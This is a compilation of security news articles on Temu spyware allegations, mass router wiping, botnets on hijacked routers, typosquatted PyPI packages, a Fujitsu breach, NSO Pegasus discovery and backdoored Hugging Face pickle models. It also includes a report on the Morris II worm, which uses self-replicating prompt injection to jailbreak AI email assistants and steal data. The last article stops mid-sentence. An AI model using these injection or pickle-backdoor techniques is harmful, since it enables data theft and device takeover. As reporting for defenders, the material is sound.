malware

shopping-app-temu-is-“dangerous-malware,”-spying-on-your-texts,-lawsuit-claims

Shopping app Temu is “dangerous malware,” spying on your texts, lawsuit claims

“Cleverly hidden spyware” —

Temu “surprised” by the lawsuit, plans to “vigorously defend” itself.

A person is holding a package from Temu.

Enlarge / A person is holding a package from Temu.

Temu—the Chinese shopping app that has rapidly grown so popular in the US that even Amazon is reportedly trying to copy it—is “dangerous malware” that’s secretly monetizing a broad swath of unauthorized user data, Arkansas Attorney General Tim Griffin alleged in a lawsuit filed Tuesday.

Griffin cited research and media reports exposing Temu’s allegedly nefarious design, which “purposely” allows Temu to “gain unrestricted access to a user’s phone operating system, including, but not limited to, a user’s camera, specific location, contacts, text messages, documents, and other applications.”

“Temu is designed to make this expansive access undetected, even by sophisticated users,” Griffin’s complaint said. “Once installed, Temu can recompile itself and change properties, including overriding the data privacy settings users believe they have in place.”

Griffin fears that Temu is capable of accessing virtually all data on a person’s phone, exposing both users and non-users to extreme privacy and security risks. It appears that anyone texting or emailing someone with the shopping app installed risks Temu accessing private data, Griffin’s suit claimed, which Temu then allegedly monetizes by selling it to third parties, “profiting at the direct expense” of users’ privacy rights.

“Compounding” risks is the possibility that Temu’s Chinese owners, PDD Holdings, are legally obligated to share data with the Chinese government, the lawsuit said, due to Chinese “laws that mandate secret cooperation with China’s intelligence apparatus regardless of any data protection guarantees existing in the United States.”

Griffin’s suit cited an extensive forensic investigation into Temu by Grizzly Research—which analyzes publicly traded companies to inform investors—last September. In their report, Grizzly Research alleged that PDD Holdings is a “fraudulent company” and that “Temu is cleverly hidden spyware that poses an urgent security threat to United States national interests.”

As Griffin sees it, Temu baits users with misleading promises of discounted, quality goods, angling to get access to as much user data as possible by adding addictive features that keep users logged in, like spinning a wheel for deals. Meanwhile hundreds of complaints to the Better Business Bureau showed that Temu’s goods are actually low-quality, Griffin alleged, apparently supporting his claim that Temu’s end goal isn’t to be the world’s biggest shopping platform but to steal data.

Investigators agreed, the lawsuit said, concluding “we strongly suspect that Temu is already, or intends to, illegally sell stolen data from Western country customers to sustain a business model that is otherwise doomed for failure.”

Seeking an injunction to stop Temu from allegedly spying on users, Griffin is hoping a jury will find that Temu’s alleged practices violated the Arkansas Deceptive Trade Practices Act (ADTPA) and the Arkansas Personal Information Protection Act. If Temu loses, it could be on the hook for $10,000 per violation of the ADTPA and ordered to disgorge profits from data sales and deceptive sales on the app.

Temu “surprised” by lawsuit

The company that owns Temu, PDD Holdings, was founded in 2015 by a former Google employee, Colin Huang. It was originally based in China, but after security concerns were raised, the company relocated its “principal executive offices” to Ireland, Griffin’s complaint said. This, Griffin suggested, was intended to distance the company from debate over national security risks posed by China, but because the majority of its business operations remain in China, risks allegedly remain.

PDD Holdings’ relocation came amid heightened scrutiny of Pinduoduo, the Chinese app on which Temu’s shopping platform is based. Last year, Pinduoduo came under fire for privacy and security risks that got the app suspended from Google Play as suspected malware. Experts said Pinduoduo took security and privacy risks “to the next level,” the lawsuit said. And “around the same time,” Apple’s App Store also flagged Temu’s data privacy terms as misleading, further heightening scrutiny of two of PDD Holdings’ biggest apps, the complaint noted.

Researchers found that Pinduoduo “was programmed to bypass users’ cell phone security in order to monitor activities on other apps, check notifications, read private messages, and change settings,” the lawsuit said. “It also could spy on competitors by tracking activity on other shopping apps and getting information from them,” as well as “run in the background and prevent itself from being uninstalled.” The motivation behind the malicious design was apparently “to boost sales.”

According to Griffin, the same concerns that got Pinduoduo suspended last year remain today for Temu users, but the App Store and Google Play have allegedly failed to take action to prevent unauthorized access to user data. Within a year of Temu’s launch, the “same software engineers and product managers who developed Pinduoduo” allegedly “were transitioned to working on the Temu app.”

Google and Apple did not immediately respond to Ars’ request for comment.

A Temu spokesperson provided a statement to Ars, discrediting Grizzly Research’s investigation and confirming that the company was “surprised and disappointed by the Arkansas Attorney General’s Office for filing the lawsuit without any independent fact-finding.”

“The allegations in the lawsuit are based on misinformation circulated online, primarily from a short-seller, and are totally unfounded,” Temu’s spokesperson said. “We categorically deny the allegations and will vigorously defend ourselves.”

While Temu plans to defend against claims, the company also seems to potentially be open to making changes based on criticism lobbed in Griffin’s complaint.

“We understand that as a new company with an innovative supply chain model, some may misunderstand us at first glance and not welcome us,” Temu’s spokesperson said. “We are committed to the long-term and believe that scrutiny will ultimately benefit our development. We are confident that our actions and contributions to the community will speak for themselves over time.”

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Mystery malware destroys 600,000 routers from a single ISP during 72-hour span

PUMPKIN ECLIPSE —

An unknown threat actor with equally unknown motives forces ISP to replace routers.

Mystery malware destroys 600,000 routers from a single ISP during 72-hour span

Getty Images

One day last October, subscribers to an ISP known as Windstream began flooding message boards with reports their routers had suddenly stopped working and remained unresponsive to reboots and all other attempts to revive them.

“The routers now just sit there with a steady red light on the front,” one user wrote, referring to the ActionTec T3200 router models Windstream provided to both them and a next door neighbor. “They won’t even respond to a RESET.”

In the messages—which appeared over a few days beginning on October 25—many Windstream users blamed the ISP for the mass bricking. They said it was the result of the company pushing updates that poisoned the devices. Windstream’s Kinetic broadband service has about 1.6 million subscribers in 18 states, including Iowa, Alabama, Arkansas, Georgia, and Kentucky. For many customers, Kinetic provides an essential link to the outside world.

“We have 3 kids and both work from home,” another subscriber wrote in the same forum. “This has easily cost us $1,500+ in lost business, no tv, WiFi, hours on the phone, etc. So sad that a company can treat customers like this and not care.”

After eventually determining that the routers were permanently unusable, Windstream sent new routers to affected customers. Black Lotus has named the event Pumpkin Eclipse.

A deliberate act

A report published Thursday by security firm Lumen Technologies’ Black Lotus Labs may shed new light on the incident, which Windstream has yet to explain. Black Lotus Labs researchers said that over a 72-hour period beginning on October 25, malware took out more than 600,000 routers connected to a single autonomous system number, or ASN, belonging to an unnamed ISP.

While the researchers aren’t identifying the ISP, the particulars they report match almost perfectly with those detailed in the October messages from Windstream subscribers. Specifically, the date the mass bricking started, the router models affected, the description of the ISP, and the displaying of a static red light by the out-of-commission ActionTec routers. Windstream representatives declined to answer questions sent by email.

According to Black Lotus, the routers—conservatively estimated at a minimum of 600,000—were taken out by an unknown threat actor with equally unknown motivations. The actor took deliberate steps to cover their tracks by using commodity malware known as Chalubo, rather than a custom-developed toolkit. A feature built into Chalubo allowed the actor to execute custom Lua scripts on the infected devices. The researchers believe the malware downloaded and ran code that permanently overwrote the router firmware.

“We assess with high confidence that the malicious firmware update was a deliberate act intended to cause an outage, and though we expected to see a number of router make and models affected across the internet, this event was confined to the single ASN,” Thursday’s report stated before going on to note the troubling implications of a single piece of malware suddenly severing the connections of 600,000 routers.

The researchers wrote:

Destructive attacks of this nature are highly concerning, especially so in this case. A sizeable portion of this ISP’s service area covers rural or underserved communities; places where residents may have lost access to emergency services, farming concerns may have lost critical information from remote monitoring of crops during the harvest, and health care providers cut off from telehealth or patients’ records. Needless to say, recovery from any supply chain disruption takes longer in isolated or vulnerable communities.

After learning of the mass router outage, Black Lotus began querying the Censys search engine for the affected router models. A one-week snapshot soon revealed that one specific ASN experienced a 49 percent drop in those models just as the reports began. This amounted to the disconnection of at least 179,000 ActionTec routers and more than 480,000 routers sold by Sagemcom.

Black Lotus Labs

The constant connecting and disconnecting of routers to any ISP complicates the tracking process, because it’s impossible to know if a disappearance is the result of the normal churn or something more complicated. Black Lotus said that a conservative estimate is that at least 600,000 of the disconnections it tracked were the result of Chaluba infecting the devices and, from there, permanently wiping the firmware they ran on.

After identifying the ASN, Black Lotus discovered a complex multi-path infection mechanism for installing Chaluba on the routers. The following graphic provides a logical overview.

Black Lotus Labs

There aren’t many known precedents for malware that wipes routers en masse in the way witnessed by the researchers. Perhaps the closest was the discovery in 2022 of AcidRain, the name given to malware that knocked out 10,000 modems for satellite Internet provider Viasat. The outage, hitting Ukraine and other parts of Europe, was timed to Russia’s invasion of the smaller neighboring country.

A Black Lotus representative said in an interview that researchers can’t rule out that a nation-state is behind the router-wiping incident affecting the ISP. But so far, the researchers say they aren’t aware of any overlap between the attacks and any known nation-state groups they track.

The researchers have yet to determine the initial means of infecting the routers. It’s possible the threat actors exploited a vulnerability, although the researchers said they aren’t aware of any known vulnerabilities in the affected routers. Other possibilities are the threat actor abused weak credentials or accessed an exposed administrative panel.

An attack unlike any other

While the researchers have analyzed attacks on home and small office routers before, they said two things make this latest one stand out. They explained:

First, this campaign resulted in a hardware-based replacement of the affected devices, which likely indicates that the attacker corrupted the firmware on specific models. The event was unprecedented due to the number of units affected—no attack that we can recall has required the replacement of over 600,000 devices. In addition, this type of attack has only ever happened once before, with AcidRain used as a precursor to an active military invasion.

They continued:

The second unique aspect is that this campaign was confined to a particular ASN. Most previous campaigns we’ve seen target a specific router model or common vulnerability and have effects across multiple providers’ networks. In this instance, we observed that both Sagemcom and ActionTec devices were impacted at the same time, both within the same provider’s network.This led us to assess it was not the result of a faulty firmware update by a single manufacturer, which would normally be confined to one device model or models from a given company. Our analysis of the Censys data shows the impact was only for the two in question. This combination of factors led us to conclude the event was likely a deliberate action taken by an unattributed malicious cyber actor, even if we were not able to recover the destructive module.

With no clear idea how the routers came to be infected, the researchers can only offer the usual generic advice for keeping such devices free of malware. That includes installing security updates, replacing default passwords with strong ones, and regular rebooting. ISPs and other organizations that manage routers should follow additional advice for securing the management interfaces for administering the devices.

Thursday’s report includes IP addresses, domain names, and other indicators that people can use to determine if their devices have been targeted or compromised in the attacks.

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Hacker free-for-all fights for control of home and office routers everywhere

Rows of 1950s-style robots operate computer workstations.

Cybercriminals and spies working for nation-states are surreptitiously coexisting inside the same compromised name-brand routers as they use the devices to disguise attacks motivated both by financial gain and strategic espionage, researchers said.

In some cases, the coexistence is peaceful, as financially motivated hackers provide spies with access to already compromised routers in exchange for a fee, researchers from security firm Trend Micro reported Wednesday. In other cases, hackers working in nation-state-backed advanced persistent threat groups take control of devices previously hacked by the cybercrime groups. Sometimes the devices are independently compromised multiple times by different groups. The result is a free-for-all inside routers and, to a lesser extent, VPN devices and virtual private servers provided by hosting companies.

“Cybercriminals and Advanced Persistent Threat (APT) actors share a common interest in proxy anonymization layers and Virtual Private Network (VPN) nodes to hide traces of their presence and make detection of malicious activities more difficult,” Trend Micro researchers Feike Hacquebord and Fernando Merces wrote. “This shared interest results in malicious internet traffic blending financial and espionage motives.”

Pawn Storm, a spammer, and a proxy service

A good example is a network made up primarily of EdgeRouter devices sold by manufacturer Ubiquiti. After the FBI discovered it had been infected by a Kremlin-backed group and used as a botnet to camouflage ongoing attacks targeting governments, militaries, and other organizations worldwide, it commenced an operation in January to temporarily disinfect them.

The Russian hackers gained control after the devices were already infected with Moobot, which is botnet malware used by financially motivated threat actors not affiliated with the Russian government. These threat actors installed Moobot after first exploiting publicly known default administrator credentials that hadn’t been removed from the devices by the people who owned them. The Russian hackers—known by a variety of names including Pawn Storm, APT28, Forest Blizzard, Sofacy, and Sednit—then exploited a vulnerability in the Moobot malware and used it to install custom scripts and malware that turned the botnet into a global cyber espionage platform.

The Trend Micro researchers said that Pawn Storm was using the hijacked botnet to proxy (1) logins that used stolen account credentials and (2) attacks that exploited a critical zero-day vulnerability in Microsoft Exchange that went unfixed until March 2023. The zero-day exploits allowed Pawn Storm to obtain the cryptographic hash of users’ Outlook passwords simply by sending them a specially formatted email. Once in possession of the hash, Pawn Storm performed a so-called NTLMv2 hash relay attack that funneled logins to the user accounts through one of the botnet devices. Microsoft provided a diagram of the attack pictured below:

Microsoft

Trend Micro observed the same botnet being used to send spam with pharmaceutical themes that have the hallmarks of what’s known as the Canadian Pharmacy gang. Yet another group installed malware known as Ngioweb on botnet devices. Ngioweb was first found in 2019 running on routers from DLink, Netgear, and other manufacturers, as well as other devices running Linux on top of x86, ARM, and MIPS hardware. The purpose of Ngioweb is to provide proxies individuals can use to route their online activities through a series of regularly changing IP addresses, particularly those located in the US with reputations for trustworthiness. It’s not clear precisely who uses the Ngioweb-powered service.

The Trend Micro researchers wrote:

In the specific case of the compromised Ubiquiti EdgeRouters, we observed that a botnet operator has been installing backdoored SSH servers and a suite of scripts on the compromised devices for years without much attention from the security industry, allowing persistent access. Another threat actor installed the Ngioweb malware that runs only in memory to add the bots to a commercially available residential proxy botnet. Pawn Storm most likely easily brute forced the credentials of the backdoored SSH servers and thus gained access to a pool of EdgeRouter devices they could abuse for various purposes.

The researchers provided the following table, summarizing the botnet-sharing arrangement among Pawn Storm and the two other groups, tracked as Water Zmeu and Water Barghest:

Trend Micro


It’s unclear if either of the groups was responsible for installing the previously mentioned Moobot malware that the FBI reported finding on the devices. If not, that would mean routers were independently infected by three financially motivated groups, in addition to Pawn Storm, further underscoring the ongoing rush by multiple threat groups to establish secret listening posts inside routers. Trend Micro researchers weren’t available to clarify.

The post went on to report that while the January operation by the FBI put a dent in the infrastructure Pawn Storm depended on, legal constraints prevented the operation from preventing reinfection. What’s more, the botnet also comprised virtual public servers and Raspberry Pi devices that weren’t affected by the FBI action.

“This means that despite the efforts of law enforcement, Pawn Storm still has access to many other compromised assets, including EdgeServers,” the Trend Micro report said. “For example, IP address 32[.]143[.]50[.]222 was used as an SMB reflector around February 8, 2024. The same IP address was used as a proxy in a credential phishing attack on February 6 2024 against various government officials around the world.”

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PyPI halted new users and projects while it fended off supply-chain attack

ONSLAUGHT —

Automation is making attacks on open source code repositories harder to fight.

Supply-chain attacks, like the latest PyPI discovery, insert malicious code into seemingly functional software packages used by developers. They're becoming increasingly common.

Enlarge / Supply-chain attacks, like the latest PyPI discovery, insert malicious code into seemingly functional software packages used by developers. They’re becoming increasingly common.

Getty Images

PyPI, a vital repository for open source developers, temporarily halted new project creation and new user registration following an onslaught of package uploads that executed malicious code on any device that installed them. Ten hours later, it lifted the suspension.

Short for the Python Package Index, PyPI is the go-to source for apps and code libraries written in the Python programming language. Fortune 500 corporations and independent developers alike rely on the repository to obtain the latest versions of code needed to make their projects run. At a little after 7 pm PT on Wednesday, the site started displaying a banner message informing visitors that the site was temporarily suspending new project creation and new user registration. The message didn’t explain why or provide an estimate of when the suspension would be lifted.

Screenshot showing temporary suspension notification.

Enlarge / Screenshot showing temporary suspension notification.

Checkmarx

About 10 hours later, PyPI restored new project creation and new user registration. Once again, the site provided no reason for the 10-hour halt.

According to security firm Checkmarx, in the hours leading up to the closure, PyPI came under attack by users who likely used automated means to upload malicious packages that, when executed, infected user devices. The attackers used a technique known as typosquatting, which capitalizes on typos users make when entering the names of popular packages into command-line interfaces. By giving the malicious packages names that are similar to popular benign packages, the attackers count on their malicious packages being installed when someone mistakenly enters the wrong name.

“The threat actors target victims with Typosquatting attack technique using their CLI to install Python packages,” Checkmarx researchers Yehuda Gelb, Jossef Harush Kadouri, and Tzachi Zornstain wrote Thursday. “This is a multi-stage attack and the malicious payload aimed to steal crypto wallets, sensitive data from browsers (cookies, extensions data, etc.) and various credentials. In addition, the malicious payload employed a persistence mechanism to survive reboots.”

Screenshot showing some of the malicious packages found by Checkmarx.

Enlarge / Screenshot showing some of the malicious packages found by Checkmarx.

Checkmarx

The post said the malicious packages were “most likely created using automation” but didn’t elaborate. Attempts to reach PyPI officials for comment weren’t immediately successful. The package names mimicked those of popular packages and libraries such as Requests, Pillow, and Colorama.

The temporary suspension is only the latest event to highlight the increased threats confronting the software development ecosystem. Last month, researchers revealed an attack on open source code repository GitHub that was ​​flooding the site with millions of packages containing obfuscated code that stole passwords and cryptocurrencies from developer devices. The malicious packages were clones of legitimate ones, making them hard to distinguish to the casual eye.

The party responsible automated a process that forked legitimate packages, meaning the source code was copied so developers could use it in an independent project that built on the original one. The result was millions of forks with names identical to the original ones. Inside the identical code was a malicious payload wrapped in multiple layers of obfuscation. While GitHub was able to remove most of the malicious packages quickly, the company wasn’t able to filter out all of them, leaving the site in a persistent loop of whack-a-mole.

Similar attacks are a fact of life for virtually all open source repositories, including npm pack picks and RubyGems.

Earlier this week, Checkmarx reported a separate supply-chain attack that also targeted Python developers. The actors in that attack cloned the Colorama tool, hid malicious code inside, and made it available for download on a fake mirror site with a typosquatted domain that mimicked the legitimate files.pythonhosted.org one. The attackers hijacked the accounts of popular developers, likely by stealing the authentication cookies they used. Then, they used the hijacked accounts to contribute malicious commits that included instructions to download the malicious Colorama clone. Checkmarx said it found evidence that some developers were successfully infected.

In Thursday’s post, the Checkmarx researchers reported:

The malicious code is located within each package’s setup.py file, enabling automatic execution upon installation.

In addition, the malicious payload employed a technique where the setup.py file contained obfuscated code that was encrypted using the Fernet encryption module. When the package was installed, the obfuscated code was automatically executed, triggering the malicious payload.

Checkmarx

Upon execution, the malicious code within the setup.py file attempted to retrieve an additional payload from a remote server. The URL for the payload was dynamically constructed by appending the package name as a query parameter.

Screenshot of code creating dynamic URL.

Enlarge / Screenshot of code creating dynamic URL.

Checkmarx

The retrieved payload was also encrypted using the Fernet module. Once decrypted, the payload revealed an extensive info-stealer designed to harvest sensitive information from the victim’s machine.

The malicious payload also employed a persistence mechanism to ensure it remained active on the compromised system even after the initial execution.

Screenshot showing code that allows persistence.

Enlarge / Screenshot showing code that allows persistence.

Checkmarx

Besides using typosquatting and a similar technique known as brandjacking to trick developers into installing malicious packages, threat actors also employ dependency confusion. The technique works by uploading malicious packages to public code repositories and giving them a name that’s identical to a package stored in the target developer’s internal repository that one or more of the developer’s apps depend on to work. Developers’ software management apps often favor external code libraries over internal ones, so they download and use the malicious package rather than the trusted one. In 2021, a researcher used a similar technique to successfully execute counterfeit code on networks belonging to Apple, Microsoft, Tesla, and dozens of other companies.

There are no sure-fire ways to guard against such attacks. Instead, it’s incumbent on developers to meticulously check and double-check packages before installing them, paying close attention to every letter in a name.

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Fujitsu says it found malware on its corporate network, warns of possible data breach

HACKED —

Company apologizes for the presence of malware on company computers.

Fujitsu says it found malware on its corporate network, warns of possible data breach

Getty Images

Japan-based IT behemoth Fujitsu said it has discovered malware on its corporate network that may have allowed the people responsible to steal personal information from customers or other parties.

“We confirmed the presence of malware on several of our company’s work computers, and as a result of an internal investigation, it was discovered that files containing personal information and customer information could be illegally taken out,” company officials wrote in a March 15 notification that went largely unnoticed until Monday. The company said it continued to “investigate the circumstances surrounding the malware’s intrusion and whether information has been leaked.” There was no indication how many records were exposed or how many people may be affected.

Fujitsu employs 124,000 people worldwide and reported about $25 billion in its fiscal 2023, which ended at the end of last March. The company operates in 100 countries. Past customers include the Japanese government. Fujitsu’s revenue comes from sales of hardware such as computers, servers, and telecommunications gear, storage systems, software, and IT services.

In 2021, Fujitsu took ProjectWEB, the company’s enterprise software-as-a-service platform, offline following the discovery of a hack that breached multiple Japanese government agencies, including the Ministry of Land, Infrastructure, Transport, and Tourism; the Ministry of Foreign Affairs; and the Cabinet Secretariat. Japan’s Narita Airport was also affected.

Last July, Japan’s Ministry of Internal Affairs and Communications reportedly rebuked Fujitsu over a security failing that led to a separate breach of Fenics, another of the company’s cloud services, which is used by both government agencies and corporations. Earlier this year, the company apologized for playing a leading role in the wrongful conviction of more than 900 sub-postmasters and postmistresses who were accused of theft or fraud when the software wrongly made it appear that money was missing from their branches. A company executive said some of the software bugs responsible for the mistakes had been known since 1999.

Fujitsu representatives didn’t respond to requests for comment about last week’s breach disclosure. The company said it reported the incident to Japan’s data protection authority. “We deeply apologize for the great concern and inconvenience this has caused to everyone involved,” last week’s statement said. So far, the company has found no evidence of any affected customer data being misused.

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Researchers create AI worms that can spread from one system to another

There’s always a downside —

Worms could potentially steal data and deploy malware.

Researchers create AI worms that can spread from one system to another

Jacqui VanLiew; Getty Images

As generative AI systems like OpenAI’s ChatGPT and Google’s Gemini become more advanced, they are increasingly being put to work. Startups and tech companies are building AI agents and ecosystems on top of the systems that can complete boring chores for you: think automatically making calendar bookings and potentially buying products. But as the tools are given more freedom, it also increases the potential ways they can be attacked.

Now, in a demonstration of the risks of connected, autonomous AI ecosystems, a group of researchers has created one of what they claim are the first generative AI worms—which can spread from one system to another, potentially stealing data or deploying malware in the process. “It basically means that now you have the ability to conduct or to perform a new kind of cyberattack that hasn’t been seen before,” says Ben Nassi, a Cornell Tech researcher behind the research.

Nassi, along with fellow researchers Stav Cohen and Ron Bitton, created the worm, dubbed Morris II, as a nod to the original Morris computer worm that caused chaos across the Internet in 1988. In a research paper and website shared exclusively with WIRED, the researchers show how the AI worm can attack a generative AI email assistant to steal data from emails and send spam messages—breaking some security protections in ChatGPT and Gemini in the process.

The research, which was undertaken in test environments and not against a publicly available email assistant, comes as large language models (LLMs) are increasingly becoming multimodal, being able to generate images and video as well as text. While generative AI worms haven’t been spotted in the wild yet, multiple researchers say they are a security risk that startups, developers, and tech companies should be concerned about.

Most generative AI systems work by being fed prompts—text instructions that tell the tools to answer a question or create an image. However, these prompts can also be weaponized against the system. Jailbreaks can make a system disregard its safety rules and spew out toxic or hateful content, while prompt injection attacks can give a chatbot secret instructions. For example, an attacker may hide text on a webpage telling an LLM to act as a scammer and ask for your bank details.

To create the generative AI worm, the researchers turned to a so-called “adversarial self-replicating prompt.” This is a prompt that triggers the generative AI model to output, in its response, another prompt, the researchers say. In short, the AI system is told to produce a set of further instructions in its replies. This is broadly similar to traditional SQL injection and buffer overflow attacks, the researchers say.

To show how the worm can work, the researchers created an email system that could send and receive messages using generative AI, plugging into ChatGPT, Gemini, and open source LLM, LLaVA. They then found two ways to exploit the system—by using a text-based self-replicating prompt and by embedding a self-replicating prompt within an image file.

In one instance, the researchers, acting as attackers, wrote an email including the adversarial text prompt, which “poisons” the database of an email assistant using retrieval-augmented generation (RAG), a way for LLMs to pull in extra data from outside its system. When the email is retrieved by the RAG, in response to a user query, and is sent to GPT-4 or Gemini Pro to create an answer, it “jailbreaks the GenAI service” and ultimately steals data from the emails, Nassi says. “The generated response containing the sensitive user data later infects new hosts when it is used to reply to an email sent to a new client and then stored in the database of the new client,” Nassi says.

In the second method, the researchers say, an image with a malicious prompt embedded makes the email assistant forward the message on to others. “By encoding the self-replicating prompt into the image, any kind of image containing spam, abuse material, or even propaganda can be forwarded further to new clients after the initial email has been sent,” Nassi says.

In a video demonstrating the research, the email system can be seen forwarding a message multiple times. The researchers also say they could extract data from emails. “It can be names, it can be telephone numbers, credit card numbers, SSN, anything that is considered confidential,” Nassi says.

Although the research breaks some of the safety measures of ChatGPT and Gemini, the researchers say the work is a warning about “bad architecture design” within the wider AI ecosystem. Nevertheless, they reported their findings to Google and OpenAI. “They appear to have found a way to exploit prompt-injection type vulnerabilities by relying on user input that hasn’t been checked or filtered,” a spokesperson for OpenAI says, adding that the company is working to make its systems “more resilient” and saying developers should “use methods that ensure they are not working with harmful input.” Google declined to comment on the research. Messages Nassi shared with WIRED show the company’s researchers requested a meeting to talk about the subject.

While the demonstration of the worm takes place in a largely controlled environment, multiple security experts who reviewed the research say that the future risk of generative AI worms is one that developers should take seriously. This particularly applies when AI applications are given permission to take actions on someone’s behalf—such as sending emails or booking appointments—and when they may be linked up to other AI agents to complete these tasks. In other recent research, security researchers from Singapore and China have shown how they could jailbreak 1 million LLM agents in under five minutes.

Sahar Abdelnabi, a researcher at the CISPA Helmholtz Center for Information Security in Germany, who worked on some of the first demonstrations of prompt injections against LLMs in May 2023 and highlighted that worms may be possible, says that when AI models take in data from external sources or the AI agents can work autonomously, there is the chance of worms spreading. “I think the idea of spreading injections is very plausible,” Abdelnabi says. “It all depends on what kind of applications these models are used in.” Abdelnabi says that while this kind of attack is simulated at the moment, it may not be theoretical for long.

In a paper covering their findings, Nassi and the other researchers say they anticipate seeing generative AI worms in the wild in the next two to three years. “GenAI ecosystems are under massive development by many companies in the industry that integrate GenAI capabilities into their cars, smartphones, and operating systems,” the research paper says.

Despite this, there are ways people creating generative AI systems can defend against potential worms, including using traditional security approaches. “With a lot of these issues, this is something that proper secure application design and monitoring could address parts of,” says Adam Swanda, a threat researcher at AI enterprise security firm Robust Intelligence. “You typically don’t want to be trusting LLM output anywhere in your application.”

Swanda also says that keeping humans in the loop—ensuring AI agents aren’t allowed to take actions without approval—is a crucial mitigation that can be put in place. “You don’t want an LLM that is reading your email to be able to turn around and send an email. There should be a boundary there.” For Google and OpenAI, Swanda says that if a prompt is being repeated within its systems thousands of times, that will create a lot of “noise” and may be easy to detect.

Nassi and the research reiterate many of the same approaches to mitigations. Ultimately, Nassi says, people creating AI assistants need to be aware of the risks. “This is something that you need to understand and see whether the development of the ecosystem, of the applications, that you have in your company basically follows one of these approaches,” he says. “Because if they do, this needs to be taken into account.”

This story originally appeared on wired.com.

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WhatsApp finally forces Pegasus spyware maker to share its secret code

In on the secret —

Israeli spyware maker loses fight to only share information on installation.

WhatsApp finally forces Pegasus spyware maker to share its secret code

WhatsApp will soon be granted access to explore the “full functionality” of the NSO Group’s Pegasus spyware—sophisticated malware the Israeli Ministry of Defense has long guarded as a “highly sought” state secret, The Guardian reported.

Since 2019, WhatsApp has pushed for access to the NSO’s spyware code after alleging that Pegasus was used to spy on 1,400 WhatsApp users over a two-week period, gaining unauthorized access to their sensitive data, including encrypted messages. WhatsApp suing the NSO, Ars noted at the time, was “an unprecedented legal action” that took “aim at the unregulated industry that sells sophisticated malware services to governments around the world.”

Initially, the NSO sought to block all discovery in the lawsuit “due to various US and Israeli restrictions,” but that blanket request was denied. Then, last week, the NSO lost another fight to keep WhatsApp away from its secret code.

As the court considered each side’s motions to compel discovery, a US district judge, Phyllis Hamilton, rejected the NSO’s argument that it should only be required to hand over information about Pegasus’ installation layer.

Hamilton sided with WhatsApp, granting the Meta-owned app’s request for “information concerning the full functionality of the relevant spyware,” writing that “information showing the functionality of only the installation layer of the relevant spyware would not allow plaintiffs to understand how the relevant spyware performs the functions of accessing and extracting data.”

WhatsApp has alleged that Pegasus can “intercept communications sent to and from a device, including communications over iMessage, Skype, Telegram, WeChat, Facebook Messenger, WhatsApp, and others” and that it could also be “customized for different purposes, including to intercept communications, capture screenshots, and exfiltrate browser history.”

To prove this, WhatsApp needs access to “all relevant spyware”—specifically “any NSO spyware targeting or directed at WhatsApp servers, or using WhatsApp in any way to access Target Devices”—for “a period of one year before the alleged attack to one year after the alleged attack,” Hamilton concluded.

The NSO has so far not commented on the order, but WhatsApp was pleased with this outcome.

“The recent court ruling is an important milestone in our long running goal of protecting WhatsApp users against unlawful attacks,” WhatsApp’s spokesperson told The Guardian. “Spyware companies and other malicious actors need to understand they can be caught and will not be able to ignore the law.”

But Hamilton did not grant all of WhatsApp’s requests for discovery, sparing the NSO from sharing specific information regarding its server architecture because WhatsApp “would be able to glean the same information from the full functionality of the alleged spyware.”

Perhaps more significantly, the NSO also won’t be compelled to identify its clients. While the NSO does not publicly name the governments that purchase its spyware, reports indicate that Poland, Saudi Arabia, Rwanda, India, Hungary, and the United Arab Emirates have used it to target dissidents, The Guardian reported. In 2021, the US blacklisted the NSO for allegedly spreading “digital tools used for repression.”

In the same order, Hamilton also denied the NSO’s request to compel WhatsApp to share its post-complaint communications with the Citizen Lab, which served as a third-party witness in the case to support WhatsApp’s argument that “Pegasus is misused by NSO’s customers against ‘civil society.’”

It appeared that the NSO sought WhatsApp’s post-complaint communications with Citizen Lab as a way to potentially pressure WhatsApp into dropping Citizen Lab’s statement from the record. Hamilton quoted a court filing from the NSO that curiously noted: “If plaintiffs would agree to withdraw from their case Citizen Lab’s contention that Pegasus was used against members of ‘civil society’ rather than to investigate terrorism and serious crime, there would be much less need for this discovery.”

Ultimately, Hamilton denied the NSO’s request because “the court fails to see the relevance of the requested discovery.”

As discovery in the case proceeds, the court expects to receive expert disclosures from each side on August 30 before the trial, which is expected to start on March 3, 2025.

WhatsApp finally forces Pegasus spyware maker to share its secret code Read More »

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Hugging Face, the GitHub of AI, hosted code that backdoored user devices

IN A PICKLE —

Malicious submissions have been a fact of life for code repositories. AI is no different.

Photograph depicts a security scanner extracting virus from a string of binary code. Hand with the word

Getty Images

Code uploaded to AI developer platform Hugging Face covertly installed backdoors and other types of malware on end-user machines, researchers from security firm JFrog said Thursday in a report that’s a likely harbinger of what’s to come.

In all, JFrog researchers said, they found roughly 100 submissions that performed hidden and unwanted actions when they were downloaded and loaded onto an end-user device. Most of the flagged machine learning models—all of which went undetected by Hugging Face—appeared to be benign proofs of concept uploaded by researchers or curious users. JFrog researchers said in an email that 10 of them were “truly malicious” in that they performed actions that actually compromised the users’ security when loaded.

Full control of user devices

One model drew particular concern because it opened a reverse shell that gave a remote device on the Internet full control of the end user’s device. When JFrog researchers loaded the model into a lab machine, the submission indeed loaded a reverse shell but took no further action.

That, the IP address of the remote device, and the existence of identical shells connecting elsewhere raised the possibility that the submission was also the work of researchers. An exploit that opens a device to such tampering, however, is a major breach of researcher ethics and demonstrates that, just like code submitted to GitHub and other developer platforms, models available on AI sites can pose serious risks if not carefully vetted first.

“The model’s payload grants the attacker a shell on the compromised machine, enabling them to gain full control over victims’ machines through what is commonly referred to as a ‘backdoor,’” JFrog Senior Researcher David Cohen wrote. “This silent infiltration could potentially grant access to critical internal systems and pave the way for large-scale data breaches or even corporate espionage, impacting not just individual users but potentially entire organizations across the globe, all while leaving victims utterly unaware of their compromised state.”

A lab machine set up as a honeypot to observe what happened when the model was loaded.

A lab machine set up as a honeypot to observe what happened when the model was loaded.

JFrog

Secrets and other bait data the honeypot used to attract the threat actor.

Enlarge / Secrets and other bait data the honeypot used to attract the threat actor.

JFrog

How baller432 did it

Like the other nine truly malicious models, the one discussed here used pickle, a format that has long been recognized as inherently risky. Pickles is commonly used in Python to convert objects and classes in human-readable code into a byte stream so that it can be saved to disk or shared over a network. This process, known as serialization, presents hackers with the opportunity of sneaking malicious code into the flow.

The model that spawned the reverse shell, submitted by a party with the username baller432, was able to evade Hugging Face’s malware scanner by using pickle’s “__reduce__” method to execute arbitrary code after loading the model file.

JFrog’s Cohen explained the process in much more technically detailed language:

